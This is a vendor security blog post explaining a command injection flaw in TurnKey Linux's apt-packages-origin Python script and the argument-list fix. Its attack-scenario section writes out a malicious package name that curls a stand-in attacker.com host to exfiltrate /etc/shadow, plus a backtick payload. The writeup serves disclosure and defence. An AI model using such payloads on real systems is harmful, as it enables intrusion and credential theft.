Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Python shell scripts and how to fix it

A critical command injection vulnerability was discovered in `overlays/bootstrap_apt/usr/local/bin/apt-packages-origin`, a Python script that queries installed package origins on Debian/Ubuntu systems. The script used `subprocess.Popen` with `shell=True` and embedded `$(dpkg -l | grep ^ii | awk '{print $2}')` directly in a command string, allowing an attacker who could install a maliciously named package to execute arbitrary shell commands. The fix replaces the single shell-interpolated command

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python 2/3 script (`apt-packages-origin`) that built a shell command string by embedding raw `dpkg` output inside `subprocess.Popen(..., shell=True)`. An attacker who could install a Debian package with a name containing shell metacharacters (e.g., backticks or semicolons) could achieve arbitrary command execution. The fix eliminates `shell=True` entirely, splits the pipeline into two safe `subprocess.Popen` calls using argument lists, and parses `dpkg -l` output in Python rather than delegating to `awk` and the shell.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True string interpolation with two argument-list subprocess calls; parse dpkg output in Python
riskArbitrary command execution as the user running the script
languagePython
root causesubprocess.Popen called with shell=True and an unquoted command string embedding raw dpkg package names
vulnerabilityOS Command Injection

The Vulnerability in Context

The overlays/bootstrap_apt/usr/local/bin/apt-packages-origin script is a utility in the TurnKey Linux bootstrap layer responsible for listing the origin of every installed package — essentially answering "where did each .deb come from?" It does this by combining dpkg -l output with apt-cache policy. Straightforward enough. But the way those two tools were wired together introduced a critical command injection flaw that could let an attacker with package installation privileges run arbitrary commands on the host.

This post walks through exactly how the vulnerability worked, what the fix changed, and how to apply the same thinking to any Python script that shells out to external tools.


The Vulnerability Explained

The Dangerous Code (Before the Fix)

Here is the original main() function, line 55 of the file:

# VULNERABLE — do not use this pattern
proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

Two things make this dangerous:

  1. shell=True — Python hands the entire args string to /bin/sh -c. The shell interprets every metacharacter: backticks, $(), semicolons, pipes, redirects, and more.
  2. $(dpkg -l | …) — The shell expands this subshell inline. The output of dpkg -l, filtered through grep and awk, is substituted directly into the apt-cache policy command line without any quoting or escaping.

Why Package Names Are Attacker-Controlled

dpkg -l lists every installed package. On a Debian/Ubuntu system, a package name is typically something like libssl3 or python3-requests. But Debian package naming rules, while restrictive for packages in official repositories, are not enforced at the dpkg -i level for locally installed .deb files. An attacker who can run dpkg -i attacker.deb (or apt install a package from a compromised repository) controls the package name that ends up in dpkg -l output.

The Attack Scenario

Consider a .deb whose Package: field in DEBIAN/control is set to:

test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

When dpkg -l lists this package, awk '{print $2}' extracts that entire string. The shell then expands the full apt-cache policy command to something like:

apt-cache policy test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

The semicolons terminate the apt-cache policy command and introduce two new shell commands. The /etc/shadow contents are base64-encoded and exfiltrated to the attacker's server. The script runs as whatever user invokes it — on a bootstrap system, that is often root.

Backtick substitution is equally effective:

test`whoami > /tmp/pwned`pkg

Real-World Impact for This Component

apt-packages-origin is part of TurnKey Linux's bootstrap layer — it runs during system provisioning and auditing workflows. A compromised bootstrap step can poison the entire system image before it is ever deployed. The blast radius is not just one machine; it is every instance built from that image.


The Fix

Before and After

The fix replaces the single shell-interpolated command with two clean subprocess calls and moves the awk/grep filtering into Python itself.

Before (vulnerable):

proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

After (safe):

# Step 1: Run dpkg -l as an argument list — no shell involved
dpkg_proc = subprocess.Popen(['dpkg', '-l'], stdout=subprocess.PIPE, text=True)

# Step 2: Parse installed package names in Python
pkgs = [line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]
dpkg_proc.wait()

if dpkg_proc.returncode != 0:
    raise SystemExit('dpkg -l failed with returncode %d' % dpkg_proc.returncode)

# Step 3: Pass package names as list arguments — still no shell
proc = subprocess.Popen(
    ['apt-cache', 'policy'] + pkgs,
    bufsize=1,
    stdout=subprocess.PIPE,
    text=True
)

Why This Eliminates the Vulnerability

When subprocess.Popen receives a list instead of a string, Python calls execvp() directly. The OS kernel loads apt-cache and passes each list element as a discrete argv entry. The shell is never involved. A package name like test;id;pkg is passed to apt-cache as a single literal argument — apt-cache simply fails to find a package by that name, which is the correct behavior.

The key changes and their security significance:

Change Security Effect
shell=True → argument list Shell metacharacter interpretation eliminated entirely
$(dpkg -l \| grep \| awk) → Python list comprehension No subprocess output is ever interpolated into a shell command
line.startswith('ii') filter in Python Same semantic as grep ^ii but without spawning a shell
line.split()[1] in Python Same semantic as awk '{print $2}' but without spawning a shell
dpkg_proc.returncode check Explicit error handling that was absent before
#!/usr/bin/python → #!/usr/bin/python3 Modernizes the shebang; print fmt % tuple(row) → print(fmt % tuple(row)) confirms Python 3 compatibility

The text=True addition also removes the need to decode bytes manually, a common source of secondary bugs in Python 3 subprocess code.


Key Takeaways

  • subprocess.Popen(shell=True) with embedded $(...) subshells is inherently unsafe — any data that flows through the shell can carry metacharacters, and dpkg package names are attacker-influenced on systems that allow local package installation.
  • The $(dpkg -l | grep ^ii | awk '{print $2}') pattern was the specific sink — replacing it with a Python list comprehension ([line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]) moved filtering out of the shell entirely.
  • Argument lists in subprocess are not just a style preference — they change the underlying syscall from execve("/bin/sh", ["-c", cmd_string]) to execve("/usr/bin/apt-cache", argv_list), removing the shell interpreter from the trust boundary.
  • Bootstrap and provisioning scripts deserve extra scrutiny — a command injection in apt-packages-origin executes during system imaging, meaning a single exploit can affect every instance built from that image.
  • Error handling is part of security — the missing returncode check in the original code could have masked a failing dpkg -l invocation, leading to silent misbehavior in security-sensitive workflows.

How Orbis AppSec Detected This

  • Source: The output of dpkg -l — specifically the second column containing package names — which is influenced by any party who can install a .deb on the system.
  • Sink: subprocess.Popen(args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')", shell=True, ...) at line 55 of overlays/bootstrap_apt/usr/local/bin/apt-packages-origin.
  • Missing control: No sanitization, quoting, or escaping of package names before shell interpolation; no use of argument lists to bypass the shell interpreter.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced the single shell=True command string with two subprocess.Popen calls using argument lists and moved grep/awk filtering into a Python list comprehension, eliminating shell interpretation of package names entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The apt-packages-origin vulnerability is a textbook example of how a convenient shell one-liner becomes a critical security flaw the moment untrusted data flows through it. The pattern subprocess.Popen("tool $(other-tool | filter)", shell=True) looks compact and readable, but it hands control to the shell interpreter — and the shell will faithfully execute whatever metacharacters it finds, regardless of where they came from.

The fix required fewer lines than the original: two subprocess calls with argument lists and a three-line list comprehension replace the entire shell pipeline. The result is not just safer — it is also more explicit, easier to test, and properly handles error conditions that the original silently ignored.

When you write scripts that shell out to system tools, ask yourself: does this command string contain any data I did not write myself? If the answer is yes, use an argument list. The shell is a powerful tool, but it should not be a pass-through for data you do not fully control.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #371

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.